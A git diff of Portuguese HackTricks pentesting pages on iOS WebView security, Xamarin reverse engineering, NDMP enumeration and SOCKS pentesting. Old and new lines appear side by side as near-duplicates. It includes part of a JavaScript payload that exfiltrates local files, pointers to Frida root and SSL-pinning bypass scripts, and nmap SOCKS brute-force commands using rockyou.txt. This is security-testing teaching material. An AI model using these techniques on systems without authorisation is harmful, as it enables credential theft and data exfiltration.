Quanto ao **acesso a arquivos**, UIWebView permite isso universalmente, enquanto WKWebView introduz as configurações `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` para gerenciar o acesso a partir de URLs de arquivos, com ambas sendo falsas por padrão.
Um exemplo de script Frida é fornecido para inspecionar as configurações de segurança do **WKWebView**:
Um exemplo de script Frida é fornecido para inspecionar as configurações de **WKWebView** para configurações de segurança:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
}
});
```
Por último, um exemplo de um payload JavaScript destinado a exfiltrar arquivos locais demonstra o risco de segurança potencial associado a WebViews mal configurados. Este payload codifica o conteúdo do arquivo em formato hexadecimal antes de transmiti-los para um servidor, destacando a importância de medidas de segurança rigorosas nas implementações de WebViews.
Por fim, um exemplo de um payload JavaScript destinado a exfiltrar arquivos locais demonstra o potencial risco de segurança associado a WebViews mal configurados. Este payload codifica o conteúdo dos arquivos em formato hex antes de transmiti-los para um servidor, destacando a importância de medidas de segurança rigorosas nas implementações de WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
@ -187,12 +188,12 @@ xhr.send(null);
```
## Métodos Nativos Expostos Através de WebViews
## Compreendendo as Interfaces Nativas da WebView no iOS
## Compreendendo Interfaces Nativas do WebView no iOS
A partir do iOS 7, a Apple forneceu APIs para **comunicação entre JavaScript em uma WebView e objetos nativos** Swift ou Objective-C. Essa integração é principalmente facilitada por meio de dois métodos:
A partir do iOS 7, a Apple forneceu APIs para **comunicação entre JavaScript em um WebView e nativos** objetos Swift ou Objective-C. Essa integração é facilitada principalmente por dois métodos:
- **JSContext**: Uma função JavaScript é criada automaticamente quando um bloco Swift ou Objective-C é vinculado a um identificador dentro de um `JSContext`. Isso permite uma integração e comunicação perfeitas entre JavaScript e código nativo.
- **JSExport Protocol**: Ao herdar o protocolo `JSExport`, propriedades nativas, métodos de instância e métodos de classe podem ser expostos ao JavaScript. Isso significa que quaisquer alterações feitas no ambiente JavaScript são refletidas no ambiente nativo, e vice-versa. No entanto, é essencial garantir que dados sensíveis não sejam expostos inadvertidamente por meio deste método.
- **JSExport Protocol**: Ao herdar o protocolo `JSExport`, propriedades nativas, métodos de instância e métodos de classe podem ser expostos ao JavaScript. Isso significa que quaisquer alterações feitas no ambiente JavaScript são refletidas no ambiente nativo e vice-versa. No entanto, é essencial garantir que dados sensíveis não sejam expostos inadvertidamente por meio desse método.
### Acessando `JSContext` em Objective-C
@ -215,9 +216,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
}
}
```
### Interação e Teste
### Interação e Testes
O JavaScript pode interagir com a camada nativa ao definir um manipulador de mensagens de script. Isso permite operações como invocar funções nativas a partir de uma página da web:
JavaScript pode interagir com a camada nativa definindo um manipulador de mensagens de script. Isso permite operações como invocar funções nativas a partir de uma página da web:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Para capturar e manipular o resultado de uma chamada de função nativa, pode-se substituir a função de retorno dentro do HTML:
Para capturar e manipular o resultado de uma chamada de função nativa, pode-se substituir a função de callback dentro do HTML:
```html
<html>
<script>
@ -239,7 +240,7 @@ alert(result);
</script>
</html>
```
O lado nativo lida com a chamada JavaScript conforme mostrado na classe `JavaScriptBridgeMessageHandler`, onde o resultado de operações como a multiplicação de números é processado e enviado de volta para o JavaScript para exibição ou manipulação adicional:
O lado nativo lida com a chamada JavaScript conforme mostrado na classe `JavaScriptBridgeMessageHandler`, onde o resultado de operações como multiplicar números é processado e enviado de volta ao JavaScript para exibição ou manipulação adicional:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
@ -252,40 +253,40 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Depuração de WebViews no iOS
## Debugging iOS WebViews
(Tutorial baseado no [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
(Tutorial baseado no de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Para depurar efetivamente o conteúdo da web dentro de WebViews no iOS, é necessário um setup específico envolvendo as ferramentas de desenvolvedor do Safari, devido ao fato de que as mensagens enviadas para `console.log()` não são exibidas nos logs do Xcode. Aqui está um guia simplificado, enfatizando etapas e requisitos-chave:
Para depurar efetivamente o conteúdo da web dentro de webviews iOS, é necessária uma configuração específica envolvendo as ferramentas de desenvolvedor do Safari, devido ao fato de que as mensagens enviadas para `console.log()` não são exibidas nos logs do Xcode. Aqui está um guia simplificado, enfatizando etapas e requisitos principais:
- **Preparação no Dispositivo iOS**: O Safari Web Inspector precisa ser ativado no seu dispositivo iOS. Isso é feito indo para **Configurações > Safari > Avançado**, e habilitando o _Web Inspector_.
- **Preparação no Dispositivo iOS**: O Web Inspector do Safari precisa ser ativado no seu dispositivo iOS. Isso é feito indo em **Ajustes > Safari > Avançado**, e habilitando o _Web Inspector_.
- **Preparação no Dispositivo macOS**: Em sua máquina de desenvolvimento macOS, você deve habilitar as ferramentas de desenvolvedor dentro do Safari. Inicie o Safari, acesse **Safari > Preferências > Avançado**, e selecione a opção _Mostrar menu Desenvolver_.
- **Preparação no Dispositivo macOS**: No seu computador de desenvolvimento macOS, você deve habilitar as ferramentas de desenvolvedor dentro do Safari. Inicie o Safari, acesse **Safari > Preferências > Avançado**, e selecione a opção para _Mostrar menu Desenvolver_.
- **Conexão e Depuração**: Após conectar seu dispositivo iOS ao seu computador macOS e iniciar seu aplicativo, use o Safari em seu dispositivo macOS para selecionar a WebView que deseja depurar. Navegue até _Desenvolver_ na barra de menu do Safari, passe o mouse sobre o nome do seu dispositivo iOS para ver uma lista de instâncias de WebView, e selecione a instância que deseja inspecionar. Uma nova janela do Safari Web Inspector será aberta para esse propósito.
- **Conexão e Depuração**: Após conectar seu dispositivo iOS ao seu computador macOS e iniciar seu aplicativo, use o Safari no seu dispositivo macOS para selecionar a webview que você deseja depurar. Navegue até _Desenvolver_ na barra de menu do Safari, passe o mouse sobre o nome do seu dispositivo iOS para ver uma lista de instâncias de webview, e selecione a instância que você deseja inspecionar. Uma nova janela do Web Inspector do Safari será aberta para esse propósito.
No entanto, esteja ciente das limitações:
- Depurar com este método requer um dispositivo macOS, pois depende do Safari.
- Apenas WebViews em aplicativos carregados em seu dispositivo através do Xcode são elegíveis para depuração. WebViews em aplicativos instalados via App Store ou Apple Configurator não podem ser depurados dessa maneira.
- A depuração com este método requer um dispositivo macOS, pois depende do Safari.
- Apenas webviews em aplicativos carregados no seu dispositivo através do Xcode são elegíveis para depuração. Webviews em aplicativos instalados via App Store ou Apple Configurator não podem ser depurados dessa maneira.
## Referências
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,63 @@
# Aplicativos Xamarin
# Xamarin Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Este é um resumo do post do blog [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Informações Básicas**
Xamarin é uma plataforma **open-source** projetada para desenvolvedores **construírem aplicativos para iOS, Android e Windows** usando os frameworks .NET e C#. Esta plataforma oferece acesso a numerosas ferramentas e extensões para criar aplicativos modernos de forma eficiente.
Xamarin é uma **plataforma de código aberto** projetada para desenvolvedores **construírem aplicativos para iOS, Android e Windows** usando os frameworks .NET e C#. Esta plataforma oferece acesso a inúmeras ferramentas e extensões para criar aplicações modernas de forma eficiente.
### Arquitetura do Xamarin
- Para **Android**, o Xamarin integra-se com os namespaces do Android e Java por meio de ligações .NET, operando dentro do ambiente de execução Mono ao lado do Android Runtime (ART). Managed Callable Wrappers (MCW) e Android Callable Wrappers (ACW) facilitam a comunicação entre Mono e ART, ambos construídos no kernel Linux.
- Para **iOS**, os aplicativos são executados sob o tempo de execução Mono, utilizando a compilação Ahead of Time (AOT) completa para converter o código C# .NET em linguagem de montagem ARM. Esse processo é executado ao lado do Objective-C Runtime em um kernel semelhante ao UNIX.
- Para **Android**, o Xamarin se integra com namespaces Android e Java através de bindings .NET, operando dentro do ambiente de execução Mono ao lado do Android Runtime (ART). Managed Callable Wrappers (MCW) e Android Callable Wrappers (ACW) facilitam a comunicação entre Mono e ART, ambos construídos sobre o kernel Linux.
- Para **iOS**, as aplicações rodam sob o runtime Mono, utilizando compilação completa Ahead of Time (AOT) para converter código C# .NET em linguagem de montagem ARM. Este processo ocorre ao lado do Runtime Objective-C em um kernel semelhante ao UNIX.
### .NET Runtime e Mono Framework
### Runtime .NET e Framework Mono
O **framework .NET** inclui assemblies, classes e namespaces para o desenvolvimento de aplicativos, com o .NET Runtime gerenciando a execução de código. Ele oferece independência de plataforma e compatibilidade com versões anteriores. O **Mono Framework** é uma versão open-source do framework .NET, iniciada em 2005 para estender o .NET para o Linux, agora suportada pela Microsoft e liderada pela Xamarin.
O **framework .NET** inclui assemblies, classes e namespaces para desenvolvimento de aplicações, com o Runtime .NET gerenciando a execução do código. Ele oferece independência de plataforma e compatibilidade retroativa. O **Framework Mono** é uma versão de código aberto do framework .NET, iniciado em 2005 para estender o .NET ao Linux, agora suportado pela Microsoft e liderado pelo Xamarin.
### Engenharia Reversa de Aplicativos Xamarin
#### Decompilação de Assemblies Xamarin
A decompilação transforma o código compilado de volta em código-fonte. No Windows, a janela Módulos no Visual Studio pode identificar módulos para decompilação, permitindo acesso direto ao código de terceiros e extração do código-fonte para análise.
A decompilação transforma código compilado de volta em código-fonte. No Windows, a janela de Módulos no Visual Studio pode identificar módulos para decompilação, permitindo acesso direto ao código de terceiros e extração de código-fonte para análise.
#### Compilação JIT vs AOT
- **Android** suporta compilação Just-In-Time (JIT) e Ahead-Of-Time (AOT), com um modo AOT híbrido para velocidade de execução ideal. O AOT completo é exclusivo para licenças Enterprise.
- **iOS** emprega exclusivamente a compilação AOT devido às restrições da Apple sobre a execução de código dinâmico.
- **Android** suporta compilação Just-In-Time (JIT) e Ahead-Of-Time (AOT), com um modo híbrido AOT para velocidade de execução ideal. A compilação completa AOT é exclusiva para licenças Enterprise.
- **iOS** utiliza exclusivamente a compilação AOT devido às restrições da Apple sobre a execução de código dinâmico.
### Extração de Arquivos dll de APK/IPA
### Extraindo arquivos dll de APK/IPA
Para acessar os assemblies em um APK/IPA, descompacte o arquivo e explore o diretório de assemblies. Para Android, ferramentas como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) podem descompactar arquivos dll.
Para acessar os assemblies em um APK/IPA, descompacte o arquivo e explore o diretório de assemblies. Para Android, ferramentas como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) podem descomprimir arquivos dll.
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Para os blobs de assembly no Android, o [pyxamstore](https://github.com/jakev/pyxamstore) pode desempacotá-los.
Para blobs de assembly no Android, [pyxamstore](https://github.com/jakev/pyxamstore) pode descompactá-los.
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
Os arquivos dll do iOS são facilmente acessíveis para descompilação, revelando partes significativas do código do aplicativo, que frequentemente compartilha uma base comum em diferentes plataformas.
iOS dll files são facilmente acessíveis para decompilação, revelando porções significativas do código do aplicativo, que muitas vezes compartilha uma base comum entre diferentes plataformas.
### Análise Dinâmica
A análise dinâmica envolve a verificação de SSL pinning e o uso de ferramentas como [Fridax](https://github.com/NorthwaveSecurity/fridax) para modificações em tempo de execução do binário .NET em aplicativos Xamarin. Scripts do Frida estão disponíveis para contornar a detecção de root ou SSL pinning, aprimorando as capacidades de análise.
A análise dinâmica envolve verificar a pinagem SSL e usar ferramentas como [Fridax](https://github.com/NorthwaveSecurity/fridax) para modificações em tempo de execução do binário .NET em aplicativos Xamarin. Scripts Frida estão disponíveis para contornar a detecção de root ou a pinagem SSL, aprimorando as capacidades de análise.
Outros scripts interessantes do Frida:
Outros scripts Frida interessantes:
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
@ -67,16 +68,17 @@ Outros scripts interessantes do Frida:
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Informações do Protocolo**
De [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
> **NDMP**, ou **Network Data Management Protocol**, é um protocolo destinado a transportar dados entre dispositivos de armazenamento conectados à rede \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) e dispositivos de [backup](https://en.wikipedia.org/wiki/Backup). Isso elimina a necessidade de transportar os dados através do próprio servidor de backup, aumentando assim a velocidade e removendo a carga do servidor de backup.
> **NDMP**, ou **Protocolo de Gerenciamento de Dados de Rede**, é um protocolo destinado a transportar dados entre dispositivos de armazenamento conectados à rede \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) e dispositivos de [backup](https://en.wikipedia.org/wiki/Backup). Isso elimina a necessidade de transportar os dados através do próprio servidor de backup, melhorando assim a velocidade e removendo a carga do servidor de backup.
**Porta padrão:** 10000
```text
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,49 +1,43 @@
# 1080 - Pentesting Socks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
**SOCKS** é um protocolo usado para transferir dados entre um cliente e um servidor por meio de um proxy. A quinta versão, **SOCKS5**, adiciona um recurso de autenticação opcional, permitindo que apenas usuários autorizados acessem o servidor. Ele lida principalmente com a proxy de conexões TCP e o encaminhamento de pacotes UDP, operando na camada de sessão (Camada 5) do modelo OSI.
**SOCKS** é um protocolo usado para transferir dados entre um cliente e um servidor através de um proxy. A quinta versão, **SOCKS5**, adiciona um recurso de autenticação opcional, permitindo que apenas usuários autorizados acessem o servidor. Ele lida principalmente com o proxy de conexões TCP e o encaminhamento de pacotes UDP, operando na camada de sessão (Camada 5) do modelo OSI.
**Porta Padrão:** 1080
## Enumeração
### Verificação de Autenticação
```bash
nmap -p 1080 <ip> --script socks-auth-info
```
### Brute Force
### Ataque de Força Bruta
#### Uso Básico
#### Uso básico
```bash
nmap --script socks-brute -p 1080 <ip>
```
#### Uso avançado
```bash
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
```
#### Saída
```
PORT STATE SERVICE
1080/tcp open socks
@ -53,63 +47,37 @@ PORT STATE SERVICE
| Statistics
|_ Performed 1921 guesses in 6 seconds, average tps: 320
```
## Tunelamento e Encaminhamento de Portas
## Tunneling e Encaminhamento de Portas
### Uso básico do proxychains
Configurar o proxychains para usar um proxy socks
Configurar proxy chains para usar proxy socks
```
nano /etc/proxychains4.conf
```
### Using Socks Proxy
To use a SOCKS proxy during your penetration testing, you can utilize tools like Proxychains or ProxyCap. These tools allow you to route your traffic through a SOCKS proxy server, enabling you to mask your IP address and bypass network restrictions.
#### Proxychains Configuration
1. Edit the configuration file `/etc/proxychains.conf`.
2. Uncomment the line `dynamic_chain`.
3. Add your SOCKS proxy information at the end of the file in the following format:
```markdown
Edite a parte inferior e adicione seu proxy
```
socks5 127.0.0.1 1080
```
4. Save the file and exit.
#### ProxyCap Configuration
1. Open ProxyCap and go to `Proxy` > `Proxy Servers`.
2. Click on `Add Proxy Server` and enter your SOCKS proxy details.
3. Go to `Rules` > `Default Rules` and select the proxy server you added.
4. Save the configuration.
Now you can run your penetration testing tools through the SOCKS proxy you configured.
```
socks5 10.10.10.10 1080
```
Com autenticação
```
socks5 10.10.10.10 1080 username password
```
#### Mais informações: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
#### Mais informações: [Tunelamento e Encaminhamento de Porta](https://github.com/carlospolop/hacktricks/blob/pt/metodologias-e-recursos-gen%C3%A9ricos/tunelamento-e-encaminhamento-de-porta.md)
{% hint style="success" %}
